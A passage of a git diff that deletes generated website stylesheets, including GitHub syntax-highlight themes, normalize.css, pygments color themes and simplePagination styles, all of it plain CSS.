- limitations under the License.
-
-*/
-
-.pl-c /* comment */ {
- color: #969896;
-}
-
-.pl-c1 /* constant, markup.raw, meta.diff.header, meta.module-reference, meta.property-name, support, support.constant, support.variable, variable.other.constant */,
-.pl-s .pl-v /* string variable */ {
- color: #0099cd;
-}
-
-.pl-e /* entity */,
-.pl-en /* entity.name */ {
- color: #9774cb;
-}
-
-.pl-s .pl-s1 /* string source */,
-.pl-smi /* storage.modifier.import, storage.modifier.package, storage.type.java, variable.other, variable.parameter.function */ {
- color: #ddd;
-}
-
-.pl-ent /* entity.name.tag */ {
- color: #7bcc72;
-}
-
-.pl-k /* keyword, storage, storage.type */ {
- color: #cc2372;
-}
-
-.pl-pds /* punctuation.definition.string, string.regexp.character-class */,
-.pl-s /* string */,
-.pl-s .pl-pse .pl-s1 /* string punctuation.section.embedded source */,
-.pl-sr /* string.regexp */,
-.pl-sr .pl-cce /* string.regexp constant.character.escape */,
-.pl-sr .pl-sra /* string.regexp string.regexp.arbitrary-repitition */,
-.pl-sr .pl-sre /* string.regexp source.ruby.embedded */ {
- color: #3c66e2;
-}
-
-.pl-v /* variable */ {
- color: #fb8764;
-}
-
-.pl-id /* invalid.deprecated */ {
- color: #e63525;
-}
-
-.pl-ii /* invalid.illegal */ {
- background-color: #e63525;
- color: #f8f8f8;
-}
-
-.pl-sr .pl-cce /* string.regexp constant.character.escape */ {
- color: #7bcc72;
- font-weight: bold;
-}
-
-.pl-ml /* markup.list */ {
- color: #c26b2b;
-}
-
-.pl-mh /* markup.heading */,
-.pl-mh .pl-en /* markup.heading entity.name */,
-.pl-ms /* meta.separator */ {
- color: #264ec5;
- font-weight: bold;
-}
-
-.pl-mq /* markup.quote */ {
- color: #00acac;
-}
-
-.pl-mi /* markup.italic */ {
- color: #ddd;
- font-style: italic;
-}
-
-.pl-mb /* markup.bold */ {
- color: #ddd;
- font-weight: bold;
-}
-
-.pl-md /* markup.deleted, meta.diff.header.from-file */ {
- background-color: #ffecec;
- color: #bd2c00;
-}
-
-.pl-mi1 /* markup.inserted, meta.diff.header.to-file */ {
- background-color: #eaffea;
- color: #55a532;
-}
-
-.pl-mdr /* meta.diff.range */ {
- color: #9774cb;
- font-weight: bold;
-}
-
-.pl-mo /* meta.output */ {
- color: #264ec5;
-}
-
diff --git a/_site/stylesheets/github-light.css b/_site/stylesheets/github-light.css
deleted file mode 100644
index 872a6f4..0000000
--- a/_site/stylesheets/github-light.css
+++ /dev/null
@@ -1,116 +0,0 @@
-/*
- Copyright 2014 GitHub Inc.
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
-
-*/
-
-.pl-c /* comment */ {
- color: #969896;
-}
-
-.pl-c1 /* constant, markup.raw, meta.diff.header, meta.module-reference, meta.property-name, support, support.constant, support.variable, variable.other.constant */,
-.pl-s .pl-v /* string variable */ {
- color: #0086b3;
-}
-
-.pl-e /* entity */,
-.pl-en /* entity.name */ {
- color: #795da3;
-}
-
-.pl-s .pl-s1 /* string source */,
-.pl-smi /* storage.modifier.import, storage.modifier.package, storage.type.java, variable.other, variable.parameter.function */ {
- color: #333;
-}
-
-.pl-ent /* entity.name.tag */ {
- color: #63a35c;
-}
-
-.pl-k /* keyword, storage, storage.type */ {
- color: #a71d5d;
-}
-
-.pl-pds /* punctuation.definition.string, string.regexp.character-class */,
-.pl-s /* string */,
-.pl-s .pl-pse .pl-s1 /* string punctuation.section.embedded source */,
-.pl-sr /* string.regexp */,
-.pl-sr .pl-cce /* string.regexp constant.character.escape */,
-.pl-sr .pl-sra /* string.regexp string.regexp.arbitrary-repitition */,
-.pl-sr .pl-sre /* string.regexp source.ruby.embedded */ {
- color: #183691;
-}
-
-.pl-v /* variable */ {
- color: #ed6a43;
-}
-
-.pl-id /* invalid.deprecated */ {
- color: #b52a1d;
-}
-
-.pl-ii /* invalid.illegal */ {
- background-color: #b52a1d;
- color: #f8f8f8;
-}
-
-.pl-sr .pl-cce /* string.regexp constant.character.escape */ {
- color: #63a35c;
- font-weight: bold;
-}
-
-.pl-ml /* markup.list */ {
- color: #693a17;
-}
-
-.pl-mh /* markup.heading */,
-.pl-mh .pl-en /* markup.heading entity.name */,
-.pl-ms /* meta.separator */ {
- color: #1d3e81;
- font-weight: bold;
-}
-
-.pl-mq /* markup.quote */ {
- color: #008080;
-}
-
-.pl-mi /* markup.italic */ {
- color: #333;
- font-style: italic;
-}
-
-.pl-mb /* markup.bold */ {
- color: #333;
- font-weight: bold;
-}
-
-.pl-md /* markup.deleted, meta.diff.header.from-file */ {
- background-color: #ffecec;
- color: #bd2c00;
-}
-
-.pl-mi1 /* markup.inserted, meta.diff.header.to-file */ {
- background-color: #eaffea;
- color: #55a532;
-}
-
-.pl-mdr /* meta.diff.range */ {
- color: #795da3;
- font-weight: bold;
-}
-
-.pl-mo /* meta.output */ {
- color: #1d3e81;
-}
-
diff --git a/_site/stylesheets/index.md b/_site/stylesheets/index.md
deleted file mode 100755
index e69de29..0000000
diff --git a/_site/stylesheets/markdownreader.css b/_site/stylesheets/markdownreader.css
deleted file mode 100755
index f3a78ea..0000000
--- a/_site/stylesheets/markdownreader.css
+++ /dev/null
@@ -1,138 +0,0 @@
-*{margin:0;padding:0;}
-#markdown-container{
- margin:5rem auto 2.5rem auto;
- background-color: white;
- border:1px solid #ccc;
- box-shadow:0 0 10px #999;
- padding:2em;
- line-height:1.4em;
- font:16px helvetica,arial,freesans,clean,sans-serif;
- color:black;
-}
-#markdown-container table{
- font:13.34px helvetica,arial,freesans,clean,sans-serif;
- color:black;
-}
-#markdown-container p {
- margin:1em 0;
- line-height:1.5em;
-}
-
-#markdown-container input[type=text],
-#markdown-container input[type=password],
-#markdown-container input[type=image],
-#markdown-container textarea{font:99% helvetica,arial,freesans,sans-serif;}
-#markdown-container select,
-#markdown-container option{padding:0 .25em;}
-#markdown-container optgroup{margin-top:.5em;}
-
-#markdown-container img{border:0;max-width:100%;}
-#markdown-container abbr{border-bottom:none;}
-#markdown-container a{color:#4183c4;text-decoration:none;}
-#markdown-container a:hover{text-decoration:underline;}
-#markdown-container a code,a:link code,a:visited code{color:#4183c4;}
-#markdown-container code {
- padding: 0.2em;
- margin: 0;
- font-size: 85%;
- background-color: rgba(0,0,0,0.08);
- border-radius: 3px;
-}
-#markdown-container pre code {
- background-color: transparent;
- font-size: 100%;
-}
-#markdown-container h2,h3{margin:1em 0;}
-#markdown-container h1,
-#markdown-container h2,
-#markdown-container h3,
-#markdown-container h4,
-#markdown-container h5,
-#markdown-container h6{border:0;}
-#markdown-container h1{font-size:170%;border-bottom:4px solid #aaa;padding-bottom:.5em;margin-top:1.5em;}
-#markdown-container h1:first-child{margin-top:0;padding-top:.25em;border-top:none;}
-#markdown-container h2{font-size:150%;margin-top:1.5em;border-bottom:4px solid #e0e0e0;padding-bottom:.5em;}
-#markdown-container h3{margin-top:1em;}
-#markdown-container hr{border:1px solid #ddd;}
-#markdown-container ul{margin:1em 0 1em 2em;}
-#markdown-container ol{margin:1em 0 1em 2em;}
-#markdown-container ul li,
-#markdown-container ol li{margin-top:.5em;margin-bottom:.5em;}
-#markdown-container ul li{list-style-type:disc;}
-#markdown-container ul ul li, #markdown-container ol ul li{list-style-type:circle;}
-#markdown-container ol li{list-style-type: decimal;}
-#markdown-container ul ul,
-#markdown-container ul ol,
-#markdown-container ol ol,
-#markdown-container ol ul{margin-top:0;margin-bottom:0;}
-#markdown-container blockquote{margin:1em 0;border-left:5px solid #ddd;padding-left:.6em;color:#555;}
-#markdown-container dt{font-weight:bold;margin-left:1em;}
-#markdown-container dd{margin-left:2em;margin-bottom:1em;}
-
-#markdown-outline{
- margin-top: 5rem;
- border:1px solid #ccc;
- box-shadow:0 0 10px #999;
- padding: 5px 10px;
- max-width: 22%;
- float: right;
- background-color: #fff;
- overflow-y: auto;
-}
-#markdown-outline ul{
- margin:5px 0 5px 0;
- padding-left:30px;
- font-size:12px;
- border-left:1px dotted #ccc;
-}
-#markdown-outline ul:first-child{
- border:none;
-}
-#markdown-outline li{
- list-style-type:decimal;
- margin:3px 0;
-}
-
-#markdown-backTop{
- position: fixed;
- right:5px;
- bottom:5px;
- padding:5px;
- width:50px;
- height:20px;
- background:url(../images/mdreader_backTop.gif) no-repeat 5px 5px #fff;
- border:1px solid #ccc;
- cursor:pointer;
-}
-
-/*table style*/
-
-#markdown-container table {
- border-collapse:collapse !important;
-}
-#markdown-container table th,
-#markdown-container table td{
- border:1px solid #ddd !important;
- padding: 5px;
- line-height: 1.5;
- vertical-align: top;
- border-top: 1px solid #dddddd;
-
-}
-#markdown-container table th{
- background: #EEE;
-}
-#markdown-container table p{
- margin: 0;
-
-}
-#markdown-container header {
- border-bottom: 8px solid #AAAAAA;
- padding-bottom: 1rem;
-}
-
-@media (max-width: 1200px) {
- #markdown-outline {
- display: none !important;
- }
-}
\ No newline at end of file
diff --git a/_site/stylesheets/markdownreader_bare.css b/_site/stylesheets/markdownreader_bare.css
deleted file mode 100644
index 612c9c1..0000000
--- a/_site/stylesheets/markdownreader_bare.css
+++ /dev/null
@@ -1,102 +0,0 @@
-*{margin:0;padding:0;}
-#markdown-container{
- width: 748px;
- margin:10px auto 10% auto;
- background-color: #F8F8F8;
- border:1px solid #ccc;
- box-shadow:0 0 10px #999;
- padding:2em;
- line-height:1.4em;
- font:13.34px helvetica,arial,freesans,clean,sans-serif;
- color:black;
-}
-#markdown-container table{
- font:13.34px helvetica,arial,freesans,clean,sans-serif;
- color:black;
-}
-p {
- margin:1em 0;
- line-height:1.5em;
-}
-
-input[type=text],input[type=password],input[type=image],textarea{font:99% helvetica,arial,freesans,sans-serif;}
-select,option{padding:0 .25em;}
-optgroup{margin-top:.5em;}
-
-img{border:0;max-width:100%;}
-abbr{border-bottom:none;}
-a{color:#4183c4;text-decoration:none;}
-a:hover{text-decoration:underline;}
-a code,a:link code,a:visited code{color:#4183c4;}
-h2,h3{margin:1em 0;}
-h1,h2,h3,h4,h5,h6{border:0;}
-h1{font-size:170%;border-bottom:4px solid #aaa;padding-bottom:.5em;margin-top:1.5em;}
-h1:first-child{margin-top:0;padding-top:.25em;border-top:none;}
-h2{font-size:150%;margin-top:1.5em;border-bottom:4px solid #e0e0e0;padding-bottom:.5em;}
-h3{margin-top:1em;}
-hr{border:1px solid #ddd;}
-ul{margin:1em 0 1em 2em;}
-ol{margin:1em 0 1em 2em;}
-ul li,ol li{margin-top:.5em;margin-bottom:.5em;}
-ul ul,ul ol,ol ol,ol ul{margin-top:0;margin-bottom:0;}
-blockquote{margin:1em 0;border-left:5px solid #ddd;padding-left:.6em;color:#555;}
-dt{font-weight:bold;margin-left:1em;}
-dd{margin-left:2em;margin-bottom:1em;}
-
-#markdown-outline{
- display:none;
- position:fixed;
- top:10px;
- left:-999px;
- border:1px solid #ccc;
- box-shadow:5px 5px 2px #ccc;
- padding: 5px 10px;
- background-color: #fff;
- overflow-y: auto;
-}
-#markdown-outline ul{
- margin:5px 0 5px 0;
- padding-left:30px;
- font-size:12px;
- border-left:1px dotted #ccc;
-}
-#markdown-outline ul:first-child{
- border:none;
-}
-#markdown-outline li{
- list-style-type:decimal;
- margin:3px 0;
-}
-
-#markdown-backTop{
- position: fixed;
- right:5px;
- bottom:5px;
- padding:5px;
- width:50px;
- height:20px;
- background:url(../images/mdreader_backTop.gif) no-repeat 5px 5px #fff;
- border:1px solid #ccc;
- cursor:pointer;
-}
-
-/*table style*/
-
-table {
- border-collapse:collapse !important;
-}
-table th, table td{
- border:1px solid #ddd !important;
- padding: 5px;
- line-height: 1.5;
- vertical-align: top;
- border-top: 1px solid #dddddd;
-
-}
-table th{
- background: #EEE;
-}
-table p{
- margin: 0;
-
-}
\ No newline at end of file
diff --git a/_site/stylesheets/normalize.css b/_site/stylesheets/normalize.css
deleted file mode 100644
index 30366a6..0000000
--- a/_site/stylesheets/normalize.css
+++ /dev/null
@@ -1,424 +0,0 @@
-/*! normalize.css v3.0.2 | MIT License | git.io/normalize */
-
-/**
- * 1. Set default font family to sans-serif.
- * 2. Prevent iOS text size adjust after orientation change, without disabling
- * user zoom.
- */
-
-html {
- font-family: sans-serif; /* 1 */
- -ms-text-size-adjust: 100%; /* 2 */
- -webkit-text-size-adjust: 100%; /* 2 */
-}
-
-/**
- * Remove default margin.
- */
-
-body {
- margin: 0;
-}
-
-/* HTML5 display definitions
- ========================================================================== */
-
-/**
- * Correct `block` display not defined for any HTML5 element in IE 8/9.
- * Correct `block` display not defined for `details` or `summary` in IE 10/11
- * and Firefox.
- * Correct `block` display not defined for `main` in IE 11.
- */
-
-article,
-aside,
-details,
-figcaption,
-figure,
-footer,
-header,
-hgroup,
-main,
-menu,
-nav,
-section,
-summary {
- display: block;
-}
-
-/**
- * 1. Correct `inline-block` display not defined in IE 8/9.
- * 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.
- */
-
-audio,
-canvas,
-progress,
-video {
- display: inline-block; /* 1 */
- vertical-align: baseline; /* 2 */
-}
-
-/**
- * Prevent modern browsers from displaying `audio` without controls.
- * Remove excess height in iOS 5 devices.
- */
-
-audio:not([controls]) {
- display: none;
- height: 0;
-}
-
-/**
- * Address `[hidden]` styling not present in IE 8/9/10.
- * Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22.
- */
-
-[hidden],
-template {
- display: none;
-}
-
-/* Links
- ========================================================================== */
-
-/**
- * Remove the gray background color from active links in IE 10.
- */
-
-a {
- background-color: transparent;
-}
-
-/**
- * Improve readability when focused and also mouse hovered in all browsers.
- */
-
-a:active,
-a:hover {
- outline: 0;
-}
-
-/* Text-level semantics
- ========================================================================== */
-
-/**
- * Address styling not present in IE 8/9/10/11, Safari, and Chrome.
- */
-
-abbr[title] {
- border-bottom: 1px dotted;
-}
-
-/**
- * Address style set to `bolder` in Firefox 4+, Safari, and Chrome.
- */
-
-b,
-strong {
- font-weight: bold;
-}
-
-/**
- * Address styling not present in Safari and Chrome.
- */
-
-dfn {
- font-style: italic;
-}
-
-/**
- * Address variable `h1` font-size and margin within `section` and `article`
- * contexts in Firefox 4+, Safari, and Chrome.
- */
-
-h1 {
- font-size: 2em;
- margin: 0.67em 0;
-}
-
-/**
- * Address styling not present in IE 8/9.
- */
-
-mark {
- background: #ff0;
- color: #000;
-}
-
-/**
- * Address inconsistent and variable font size in all browsers.
- */
-
-small {
- font-size: 80%;
-}
-
-/**
- * Prevent `sub` and `sup` affecting `line-height` in all browsers.
- */
-
-sub,
-sup {
- font-size: 75%;
- line-height: 0;
- position: relative;
- vertical-align: baseline;
-}
-
-sup {
- top: -0.5em;
-}
-
-sub {
- bottom: -0.25em;
-}
-
-/* Embedded content
- ========================================================================== */
-
-/**
- * Remove border when inside `a` element in IE 8/9/10.
- */
-
-img {
- border: 0;
-}
-
-/**
- * Correct overflow not hidden in IE 9/10/11.
- */
-
-svg:not(:root) {
- overflow: hidden;
-}
-
-/* Grouping content
- ========================================================================== */
-
-/**
- * Address margin not present in IE 8/9 and Safari.
- */
-
-figure {
- margin: 1em 40px;
-}
-
-/**
- * Address differences between Firefox and other browsers.
- */
-
-hr {
- box-sizing: content-box;
- height: 0;
-}
-
-/**
- * Contain overflow in all browsers.
- */
-
-pre {
- overflow: auto;
-}
-
-/**
- * Address odd `em`-unit font size rendering in all browsers.
- */
-
-code,
-kbd,
-pre,
-samp {
- font-family: monospace, monospace;
- font-size: 1em;
-}
-
-/* Forms
- ========================================================================== */
-
-/**
- * Known limitation: by default, Chrome and Safari on OS X allow very limited
- * styling of `select`, unless a `border` property is set.
- */
-
-/**
- * 1. Correct color not being inherited.
- * Known issue: affects color of disabled elements.
- * 2. Correct font properties not being inherited.
- * 3. Address margins set differently in Firefox 4+, Safari, and Chrome.
- */
-
-button,
-input,
-optgroup,
-select,
-textarea {
- color: inherit; /* 1 */
- font: inherit; /* 2 */
- margin: 0; /* 3 */
-}
-
-/**
- * Address `overflow` set to `hidden` in IE 8/9/10/11.
- */
-
-button {
- overflow: visible;
-}
-
-/**
- * Address inconsistent `text-transform` inheritance for `button` and `select`.
- * All other form control elements do not inherit `text-transform` values.
- * Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.
- * Correct `select` style inheritance in Firefox.
- */
-
-button,
-select {
- text-transform: none;
-}
-
-/**
- * 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`
- * and `video` controls.
- * 2. Correct inability to style clickable `input` types in iOS.
- * 3. Improve usability and consistency of cursor style between image-type
- * `input` and others.
- */
-
-button,
-html input[type="button"], /* 1 */
-input[type="reset"],
-input[type="submit"] {
- -webkit-appearance: button; /* 2 */
- cursor: pointer; /* 3 */
-}
-
-/**
- * Re-set default cursor for disabled elements.
- */
-
-button[disabled],
-html input[disabled] {
- cursor: default;
-}
-
-/**
- * Remove inner padding and border in Firefox 4+.
- */
-
-button::-moz-focus-inner,
-input::-moz-focus-inner {
- border: 0;
- padding: 0;
-}
-
-/**
- * Address Firefox 4+ setting `line-height` on `input` using `!important` in
- * the UA stylesheet.
- */
-
-input {
- line-height: normal;
-}
-
-/**
- * It's recommended that you don't attempt to style these elements.
- * Firefox's implementation doesn't respect box-sizing, padding, or width.
- *
- * 1. Address box sizing set to `content-box` in IE 8/9/10.
- * 2. Remove excess padding in IE 8/9/10.
- */
-
-input[type="checkbox"],
-input[type="radio"] {
- box-sizing: border-box; /* 1 */
- padding: 0; /* 2 */
-}
-
-/**
- * Fix the cursor style for Chrome's increment/decrement buttons. For certain
- * `font-size` values of the `input`, it causes the cursor style of the
- * decrement button to change from `default` to `text`.
- */
-
-input[type="number"]::-webkit-inner-spin-button,
-input[type="number"]::-webkit-outer-spin-button {
- height: auto;
-}
-
-/**
- * 1. Address `appearance` set to `searchfield` in Safari and Chrome.
- * 2. Address `box-sizing` set to `border-box` in Safari and Chrome
- * (include `-moz` to future-proof).
- */
-
-input[type="search"] {
- -webkit-appearance: textfield; /* 1 */ /* 2 */
- box-sizing: content-box;
-}
-
-/**
- * Remove inner padding and search cancel button in Safari and Chrome on OS X.
- * Safari (but not Chrome) clips the cancel button when the search input has
- * padding (and `textfield` appearance).
- */
-
-input[type="search"]::-webkit-search-cancel-button,
-input[type="search"]::-webkit-search-decoration {
- -webkit-appearance: none;
-}
-
-/**
- * Define consistent border, margin, and padding.
- */
-
-fieldset {
- border: 1px solid #c0c0c0;
- margin: 0 2px;
- padding: 0.35em 0.625em 0.75em;
-}
-
-/**
- * 1. Correct `color` not being inherited in IE 8/9/10/11.
- * 2. Remove padding so people aren't caught out if they zero out fieldsets.
- */
-
-legend {
- border: 0; /* 1 */
- padding: 0; /* 2 */
-}
-
-/**
- * Remove default vertical scrollbar in IE 8/9/10/11.
- */
-
-textarea {
- overflow: auto;
-}
-
-/**
- * Don't inherit the `font-weight` (applied by a rule above).
- * NOTE: the default cannot safely be changed in Chrome and Safari on OS X.
- */
-
-optgroup {
- font-weight: bold;
-}
-
-/* Tables
- ========================================================================== */
-
-/**
- * Remove most spacing between table cells.
- */
-
-table {
- border-collapse: collapse;
- border-spacing: 0;
-}
-
-td,
-th {
- padding: 0;
-}
diff --git a/_site/stylesheets/pygments.css b/_site/stylesheets/pygments.css
deleted file mode 100755
index 835c945..0000000
--- a/_site/stylesheets/pygments.css
+++ /dev/null
@@ -1,71 +0,0 @@
-.hll { background-color: #404040 }
-.c { color: #999999; font-style: italic } /* Comment */
-.err { color: #a61717; background-color: #e3d2d2 } /* Error */
-.esc { color: #d0d0d0 } /* Escape */
-.g { color: #d0d0d0 } /* Generic */
-.k { color: #6ab825; font-weight: bold } /* Keyword */
-.l { color: #d0d0d0 } /* Literal */
-.n { color: #d0d0d0 } /* Name */
-.o { color: #d0d0d0 } /* Operator */
-.x { color: #d0d0d0 } /* Other */
-.p { color: #d0d0d0 } /* Punctuation */
-.cm { color: #999999; font-style: italic } /* Comment.Multiline */
-.cp { color: #cd2828; font-weight: bold } /* Comment.Preproc */
-.c1 { color: #999999; font-style: italic } /* Comment.Single */
-.cs { color: #e50808; font-weight: bold; background-color: #520000 } /* Comment.Special */
-.gd { color: #d22323 } /* Generic.Deleted */
-.ge { color: #d0d0d0; font-style: italic } /* Generic.Emph */
-.gr { color: #d22323 } /* Generic.Error */
-.gh { color: #ffffff; font-weight: bold } /* Generic.Heading */
-.gi { color: #589819 } /* Generic.Inserted */
-.go { color: #cccccc } /* Generic.Output */
-.gp { color: #aaaaaa } /* Generic.Prompt */
-.gs { color: #d0d0d0; font-weight: bold } /* Generic.Strong */
-.gu { color: #ffffff; text-decoration: underline } /* Generic.Subheading */
-.gt { color: #d22323 } /* Generic.Traceback */
-.kc { color: #6ab825; font-weight: bold } /* Keyword.Constant */
-.kd { color: #6ab825; font-weight: bold } /* Keyword.Declaration */
-.kn { color: #6ab825; font-weight: bold } /* Keyword.Namespace */
-.kp { color: #6ab825 } /* Keyword.Pseudo */
-.kr { color: #6ab825; font-weight: bold } /* Keyword.Reserved */
-.kt { color: #6ab825; font-weight: bold } /* Keyword.Type */
-.ld { color: #d0d0d0 } /* Literal.Date */
-.m { color: #3677a9 } /* Literal.Number */
-.s { color: #ed9d13 } /* Literal.String */
-.na { color: #bbbbbb } /* Name.Attribute */
-.nb { color: #24909d } /* Name.Builtin */
-.nc { color: #447fcf; text-decoration: underline } /* Name.Class */
-.no { color: #40ffff } /* Name.Constant */
-.nd { color: #ffa500 } /* Name.Decorator */
-.ni { color: #d0d0d0 } /* Name.Entity */
-.ne { color: #bbbbbb } /* Name.Exception */
-.nf { color: #447fcf } /* Name.Function */
-.nl { color: #d0d0d0 } /* Name.Label */
-.nn { color: #447fcf; text-decoration: underline } /* Name.Namespace */
-.nx { color: #d0d0d0 } /* Name.Other */
-.py { color: #d0d0d0 } /* Name.Property */
-.nt { color: #6ab825; font-weight: bold } /* Name.Tag */
-.nv { color: #40ffff } /* Name.Variable */
-.ow { color: #6ab825; font-weight: bold } /* Operator.Word */
-.w { color: #666666 } /* Text.Whitespace */
-.mb { color: #3677a9 } /* Literal.Number.Bin */
-.mf { color: #3677a9 } /* Literal.Number.Float */
-.mh { color: #3677a9 } /* Literal.Number.Hex */
-.mi { color: #3677a9 } /* Literal.Number.Integer */
-.mo { color: #3677a9 } /* Literal.Number.Oct */
-.sb { color: #ed9d13 } /* Literal.String.Backtick */
-.sc { color: #ed9d13 } /* Literal.String.Char */
-.sd { color: #ed9d13 } /* Literal.String.Doc */
-.s2 { color: #ed9d13 } /* Literal.String.Double */
-.se { color: #ed9d13 } /* Literal.String.Escape */
-.sh { color: #ed9d13 } /* Literal.String.Heredoc */
-.si { color: #ed9d13 } /* Literal.String.Interpol */
-.sx { color: #ffa500 } /* Literal.String.Other */
-.sr { color: #ed9d13 } /* Literal.String.Regex */
-.s1 { color: #ed9d13 } /* Literal.String.Single */
-.ss { color: #ed9d13 } /* Literal.String.Symbol */
-.bp { color: #24909d } /* Name.Builtin.Pseudo */
-.vc { color: #40ffff } /* Name.Variable.Class */
-.vg { color: #40ffff } /* Name.Variable.Global */
-.vi { color: #40ffff } /* Name.Variable.Instance */
-.il { color: #3677a9 } /* Literal.Number.Integer.Long */
diff --git a/_site/stylesheets/pygments_monokai.css b/_site/stylesheets/pygments_monokai.css
deleted file mode 100755
index 9ca24ee..0000000
--- a/_site/stylesheets/pygments_monokai.css
+++ /dev/null
@@ -1,63 +0,0 @@
-.hll { background-color: #49483e }
-.c { color: #75715e } /* Comment */
-.err { color: #960050; background-color: #1e0010 } /* Error */
-.k { color: #66d9ef } /* Keyword */
-.l { color: #ae81ff } /* Literal */
-.n { color: #f8f8f2 } /* Name */
-.o { color: #f92672 } /* Operator */
-.p { color: #f8f8f2 } /* Punctuation */
-.cm { color: #75715e } /* Comment.Multiline */
-.cp { color: #75715e } /* Comment.Preproc */
-.c1 { color: #75715e } /* Comment.Single */
-.cs { color: #75715e } /* Comment.Special */
-.gd { color: #f92672 } /* Generic.Deleted */
-.ge { font-style: italic } /* Generic.Emph */
-.gi { color: #a6e22e } /* Generic.Inserted */
-.gs { font-weight: bold } /* Generic.Strong */
-.gu { color: #75715e } /* Generic.Subheading */
-.kc { color: #66d9ef } /* Keyword.Constant */
-.kd { color: #66d9ef } /* Keyword.Declaration */
-.kn { color: #f92672 } /* Keyword.Namespace */
-.kp { color: #66d9ef } /* Keyword.Pseudo */
-.kr { color: #66d9ef } /* Keyword.Reserved */
-.kt { color: #66d9ef } /* Keyword.Type */
-.ld { color: #e6db74 } /* Literal.Date */
-.m { color: #ae81ff } /* Literal.Number */
-.s { color: #e6db74 } /* Literal.String */
-.na { color: #a6e22e } /* Name.Attribute */
-.nb { color: #f8f8f2 } /* Name.Builtin */
-.nc { color: #a6e22e } /* Name.Class */
-.no { color: #66d9ef } /* Name.Constant */
-.nd { color: #a6e22e } /* Name.Decorator */
-.ni { color: #f8f8f2 } /* Name.Entity */
-.ne { color: #a6e22e } /* Name.Exception */
-.nf { color: #a6e22e } /* Name.Function */
-.nl { color: #f8f8f2 } /* Name.Label */
-.nn { color: #f8f8f2 } /* Name.Namespace */
-.nx { color: #a6e22e } /* Name.Other */
-.py { color: #f8f8f2 } /* Name.Property */
-.nt { color: #f92672 } /* Name.Tag */
-.nv { color: #f8f8f2 } /* Name.Variable */
-.ow { color: #f92672 } /* Operator.Word */
-.w { color: #f8f8f2 } /* Text.Whitespace */
-.mb { color: #ae81ff } /* Literal.Number.Bin */
-.mf { color: #ae81ff } /* Literal.Number.Float */
-.mh { color: #ae81ff } /* Literal.Number.Hex */
-.mi { color: #ae81ff } /* Literal.Number.Integer */
-.mo { color: #ae81ff } /* Literal.Number.Oct */
-.sb { color: #e6db74 } /* Literal.String.Backtick */
-.sc { color: #e6db74 } /* Literal.String.Char */
-.sd { color: #e6db74 } /* Literal.String.Doc */
-.s2 { color: #e6db74 } /* Literal.String.Double */
-.se { color: #ae81ff } /* Literal.String.Escape */
-.sh { color: #e6db74 } /* Literal.String.Heredoc */
-.si { color: #e6db74 } /* Literal.String.Interpol */
-.sx { color: #e6db74 } /* Literal.String.Other */
-.sr { color: #e6db74 } /* Literal.String.Regex */
-.s1 { color: #e6db74 } /* Literal.String.Single */
-.ss { color: #e6db74 } /* Literal.String.Symbol */
-.bp { color: #f8f8f2 } /* Name.Builtin.Pseudo */
-.vc { color: #f8f8f2 } /* Name.Variable.Class */
-.vg { color: #f8f8f2 } /* Name.Variable.Global */
-.vi { color: #f8f8f2 } /* Name.Variable.Instance */
-.il { color: #ae81ff } /* Literal.Number.Integer.Long */
diff --git a/_site/stylesheets/simplePagination.css b/_site/stylesheets/simplePagination.css
deleted file mode 100755
index 8afc03d..0000000
--- a/_site/stylesheets/simplePagination.css
+++ /dev/null
@@ -1,187 +0,0 @@
-/**
-* CSS themes for simplePagination.js
-* Author: Flavius Matis - http://flaviusmatis.github.com/
-* URL: https://github.com/flaviusmatis/simplePagination.js
-*/
-
-ul.simple-pagination {
- list-style: none;
-}
-
-.simple-pagination {
- display: block;
- overflow: hidden;
- padding: 0 5px 5px 0;
- margin: 0;
-}
-
-.simple-pagination ul {
- list-style: none;
- padding: 0;
- margin: 0;
-}
-
-.simple-pagination li {
- list-style: none;
- padding: 0;
- margin: 0;
- float: left;
-}
-
-/*------------------------------------*\
- Compact Theme Styles
-\*------------------------------------*/
-
-.compact-theme a, .compact-theme span {
- float: left;
- color: #333;
- font-size:14px;
- line-height:24px;
- font-weight: normal;
- text-align: center;
- border: 1px solid #AAA;
- border-left: none;
- min-width: 14px;
- padding: 0 7px;
- box-shadow: 2px 2px 2px rgba(0,0,0,0.2);
- background: #efefef; /* Old browsers */
- background: -moz-linear-gradient(top, #ffffff 0%, #efefef 100%); /* FF3.6+ */
- background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#ffffff), color-stop(100%,#efefef)); /* Chrome,Safari4+ */
- background: -webkit-linear-gradient(top, #ffffff 0%,#efefef 100%); /* Chrome10+,Safari5.1+ */
- background: -o-linear-gradient(top, #ffffff 0%,#efefef 100%); /* Opera11.10+ */
- background: -ms-linear-gradient(top, #ffffff 0%,#efefef 100%); /* IE10+ */
- background: linear-gradient(top, #ffffff 0%,#efefef 100%); /* W3C */
-}
-
-.compact-theme a:hover {
- text-decoration: none;
- background: #efefef; /* Old browsers */
- background: -moz-linear-gradient(top, #efefef 0%, #bbbbbb 100%); /* FF3.6+ */
- background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#efefef), color-stop(100%,#bbbbbb)); /* Chrome,Safari4+ */
- background: -webkit-linear-gradient(top, #efefef 0%,#bbbbbb 100%); /* Chrome10+,Safari5.1+ */
- background: -o-linear-gradient(top, #efefef 0%,#bbbbbb 100%); /* Opera11.10+ */
- background: -ms-linear-gradient(top, #efefef 0%,#bbbbbb 100%); /* IE10+ */
- background: linear-gradient(top, #efefef 0%,#bbbbbb 100%); /* W3C */
-}
-
-.compact-theme li:first-child a, .compact-theme li:first-child span {
- border-left: 1px solid #AAA;
- border-radius: 3px 0 0 3px;
-}
-
-.compact-theme li:last-child a, .compact-theme li:last-child span {
- border-radius: 0 3px 3px 0;
-}
-
-.compact-theme .current {
- background: #bbbbbb; /* Old browsers */
- background: -moz-linear-gradient(top, #bbbbbb 0%, #efefef 100%); /* FF3.6+ */
- background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#bbbbbb), color-stop(100%,#efefef)); /* Chrome,Safari4+ */
